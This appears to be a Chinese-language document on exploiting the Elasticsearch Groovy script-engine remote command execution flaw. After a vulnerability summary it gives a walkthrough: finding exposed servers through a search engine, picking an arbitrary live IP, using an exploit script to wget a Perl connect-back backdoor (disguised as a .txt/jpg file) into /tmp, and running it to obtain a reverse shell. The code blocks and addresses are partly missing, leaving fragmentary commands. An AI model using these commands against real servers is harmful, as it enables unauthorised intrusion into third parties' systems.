通过perl进行反弹shell.docxVIP

通过perl进行反弹shellElasticSearch是一个基于Lucene的搜索服务器。它提供了一个分布式多用户能力的全文搜索引擎，基于RESTful web接口。Elasticsearch是用Java开发的，并作为Apache许可条款下的开放源码发布，是第二最流行的企业搜索引擎。设计用于云计算中，能够达到实时搜索，稳定，可靠，快速，安装使用方便。目前网络公开部署Elasticsearch大概有数万台服务器，内部网络部署就不计其数了。Elasticsearch用了两个危险性的脚本MVEL和Groovy。2014年5月MVEL爆出来命令执行漏洞，这次轮到Groovy了，Elasticsearch 1.3.0-1.3.7 和 1.4.0-1.4.2 的Groovy 脚本引擎存在漏洞。这个漏洞允许攻击者构造Groovy脚本绕过沙箱检查执行shell命令，已修复的版本是Elasticsearch 1.3.8 和 1.4.3。 这个漏洞不亚于Java Struct执行命令漏洞，对与Linux和Windows平台都适用，在实际测试中也有授权为最高权限root或者system权限的，可以获取webshell和最高系统权限。受影响版本：cpe:/a:elasticsearch:elasticsearch:1.4.2cpe:/a:elasticsearch:elasticsearch:1.4.0cpe:/a:elasticsearch:elasticsearch:1.3.7cpe:/a:elasticsearch:elasticsearch:1.4.0:beta1cpe:/a:elasticsearch:elasticsearch:1.4.1(一)可利用POC目标地址:9200/_search?prettyPOST提交以下数据(二)perl可利用poc代码将以下代码保存为ElasticSearch.py，执行python ElasticSearch.py :9200/ cat /etc/issue 即可执行命令。需要执行其它命令替换“cat /etc/issue”命令即可。?(三)通过perl脚本利用该0day获取权限思路需要在公网IP准备一个pl的反弹脚本，例如back.pl，可以将脚本文件伪装为jpg文件上传到网站然后下载。例如/lab/linux0day/back.pl.txt。然后依次执行以下命令即可。说明：(1)为被攻击目标的IP或者域名，IP地址23为公网独立IP，80端口为该服务器未开放端口。(2)有部分服务器由于未安装perl环境，因此有可能执行命令失败。(四)实战案例(1)搜索目标对象通过/或者搜索“ElasticSearch”关键词，直接访问网站地址/search?q=ElasticSearcht=host即可获取结果。在该结果中可以看到各个国家使用该软件的分布情况。随机选择一个IP进行，本例选择第一个IP地址07/，同时单击IP地址右上角的一个小图框连接地址，例如打开地址07:9200/进行访问，确认该IP地址是否存活。图1 搜索目标对象(2)执行命令直接执行python ElasticSearch.py http:// 07/ /usr/bin/wget /lab/linux0day/back.pl.txt -O /tmp/back.pl 命令，但反馈结果为“HTTP Error 500: Internal Server Error”，如图2所示。再次使用FireFox便携版本进行测试，输入目标地址07:9200/_search?pretty，在Post data中输入其结果显示如图3所示，表明该漏洞已经修复或者不可用。图2执行命令图3再次测试漏洞是否可用通过测试多个搜索结果，找到一个还存在漏洞的IP地址，在0day出来的第一时间基本每个目标都能执行，每多一分钟就减少一个，直接执行以下代码，成功运行，无任何结果显示，表明文件下载到服务本地成功。python ElasticSearch.py 0:9200/ /usr/bin/wget /lab/linux0day/back.pl.txt -O /tmp/back.pl执行以下命令，成功后会显示“Perl Connect-back Backdoor、Auther:Maple-x”表明shell执行成功，如图4所示。python ElasticSearch.py http:// 0:9200/ /usr/bin/perl /tmp/back.pl 1 80在本地监听端口过几秒种就会反弹shell回来，执行ifconfig命令，如图5所示，确认反弹shell成功，后续操作就任由入侵者发挥了!图4反弹shell命令成功图5成功获取shell(五)修复方法建议用户更新到最新